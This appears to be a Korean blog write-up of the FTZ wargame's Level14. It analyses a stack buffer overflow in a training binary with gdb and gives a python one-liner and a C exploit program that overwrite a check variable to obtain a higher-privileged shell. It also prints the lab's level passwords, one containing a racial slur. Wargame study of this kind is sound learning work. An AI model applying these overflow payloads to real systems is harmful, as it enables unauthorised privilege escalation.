본문 바로가기

Learning/└◆Reversing

14_Level14 -> Level15[FTZ] 루틴 분기 키값의 이해


 ■ Level14 -> Level15


 

 

■ 목적

루틴 분기 키값의 이해

 

루틴 분기 구문이 사용되는 예

소프트웨어를 설치할 때 시리얼 키(Serial Key)/라이센스 키(License Key) 입력 받는 부분

특정 값을 입력하면 프로그램이 실행이 되는 원리

 

(시디키 입력 -> 설치 진행)

(원하는 값 입력 -> 쉘 권한)

 

 

■ Level14 풀이

 

level14 사용자 로그인

-> ID/PASS : level14/what that nigga want?

 

$ cat hint

레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.

버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이

최고의 효과를 가져다줍니다.

 

#include <stdio.h>

#include <unistd.h>

 

main()

   int crap;

   int check;

   char buf[20];

   fgets(buf,45,stdin);

   if (check==0xdeadbeef)

   {

   setreuid(3095,3095);

   system("/bin/sh");

   }

}

 

$ gdb -q attackme 

 

gdb) disas main

Dump of assembler code for function main:

0x08048490 <main+0>: push %ebp

0x08048491 <main+1>: mov %esp,%ebp

0x08048493 <main+3>: sub $0x38,%esp /* 0x38 = (10진수) 56바이트 */

0x08048496 <main+6>: sub $0x4,%esp

0x08048499 <main+9>: pushl 0x8049664

0x0804849f <main+15>: push $0x2d

0x080484a1 <main+17>: lea 0xffffffc8(%ebp),%eax

0x080484a4 <main+20>: push %eax

0x080484a5 <main+21>: call 0x8048360 <fgets>

0x080484aa <main+26>: add $0x10,%esp

0x080484ad <main+29>: cmpl $0xdeadbeef,0xfffffff0(%ebp)

0x080484b4 <main+36>: jne 0x80484db <main+75>

0x080484b6 <main+38>: sub $0x8,%esp

0x080484b9 <main+41>: push $0xc17

0x080484be <main+46>: push $0xc17

0x080484c3 <main+51>: call 0x8048380 <setreuid>

0x080484c8 <main+56>: add $0x10,%esp

0x080484cb <main+59>: sub $0xc,%esp

0x080484ce <main+62>: push $0x8048548

0x080484d3 <main+67>: call 0x8048340 <system>

0x080484d8 <main+72>: add $0x10,%esp

0x080484db <main+75>: leave

0x080484dc <main+76>: ret

0x080484dd <main+77>: lea 0x0(%esi),%esi

End of assembler dump.

(gdb) quit

 

위 소스와 디스어셈블러 를 분석한 결과

 

check 와 deadbeef를 비교하고 같으면 다음레벨 권한으로 쉘 획득

 

attackme 실행시 입력을 받으면 바로 종료 --> cat과 파이프를 이용한 명령어 사용

buf[20] , check[4] , crap[4] , fget최대 45byte

check = deadbeef(쉘 권한)  --> 쉘코드가 따로 필요 없다. --> 0xfffffff0 --> ebp에서 16 떨어진 공간

ebp 할당된 공간 ffffffc8[56] - deadbeef[16] = 40 

 

                                  +-------------16byte--------------+

                                  +                                                 +

------------------------------------------------------------------------------+

buf[20]     dummy[??]   | check[4] + crap[4] + dymmy[??] |   SFP[4]     RET[4]  |

------------------------------------------------------------------------------+

+                                                                                    +

+--------------------------56byte------------------------+

+                               +

+-------40byte--------+

 

buf + check + crap = 28 따라서 더미값은 56 - 28 = 28byte

 

buf다음에 더미값만 찾으면 check에 도달할 수 있다.

0xffffffc8 와 check 사이에 40byte가 존재하고 buf가 20byte 때문에

buf와 check 사이에 20byte만큼 더미 값이 존재한다.

 

------------------------------------------------------------------------------+

buf[20]     dummy[20  | check[4] + crap[4] + dymmy[8] |   SFP[4]     RET[4]  |

------------------------------------------------------------------------------+

결과적으로 check에 deadbeef 값을 입력하면 쉘을 얻는다.

40byte + deadbeef 값을 입력해주면 쉘을 획득할 수 있다.

 

$ (python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat) | ./attackme

id
uid=3095(level15) gid=3094(level14) groups=3094(level14)

whoami
level15

 

[참고]

(gdb) x/16x $esp

스택은 4byte단위로 이루어져 있으며, 16개를 출력하라는 명령이다. 16 * 4 로 64byte를 볼 수 있다.(4byte단위)
56bytes의 지역변수를 저장하였고 4byte의 SFP값과 4byte의 RET값을 가지고 있으므로 RET값을

덮어쓰기 위해 56+4+4로 64byte를 보기위해서 x/16x $esp를 사용한다.

 

 


 

변수 할당 공간을 확인하는 예제

$ vi distance.c (# cat ../hint > distance.c ; vi distance.c

#include <stdio.h>

#include <unistd.h>

 

main()

   int crap;

   int check;

   char buf[20];

 

   fgets(buf,45,stdin);

   if (check==0xdeadbeef)

   {

        setreuid(3095,3095);

        system("/bin/sh");

   }

   printf("Input is : %s\n &buf : %p\n &check: %p\n &crap : &p\n", buf, buf, &check, &crap);

}

 

$ gcc -o distance distance.c

$ ./distance

AAAA
Input is : AAAA

&buf : 0xbfffef20
&check : 0xbfffef48
&crap : 0xbfffef4c 

 

&buf : 0xbfffef20
&check : 0xbfffef48 - &buf : 0xbfffef20 = 0x00000028 = 40bytes
&crap : 0xbfffef4c - &check : 0xbfffef48 = 0x00000004 = 4bytes

 

 

 

■ Exploit code(공격용 코드)

#include <stdio.h>

#include <stdlib.h>

 

#define NOP 0x90

#define BUFSIZE 44 /* NOP(40) + check(0xdeadbeef)(4) */

 

/* check 변수에 입력할 값 */

char writecode[] = "\xef\xbe\xad\xde";

 

int main()

{

char shellBuf[BUFSIZE], cmdBuf[320];

int i, j, shellLen;

 

shellLen = strlen(writecode);

 

/* buf40바이트의 NOP 썰매를 할당 */

for(i=0; i<sizeof(shellBuf)-shellLen; i++)

shellBuf[i] = NOP;

/* check 변수에 조건 값 입력 */

for(j=0; j<shellLen; j++)

shellBuf[i++] = writecode[j];

 

/* 공격 명령어 생성 */

sprintf(cmdBuf, "(perl -e \'print \"");

strcat(cmdBuf, shellBuf);

strcat(cmdBuf, "\"\';cat) | /home/level14/attackme");

strcat(cmdBuf, "\x0a");

system(cmdBuf);

}


$ gcc -o Attack_attackme Attack_attackme.c
$ ./Attack_attackme

id
uid3095 gid=3094 groups=3094
my-pass 

level15 password "guess what".
exit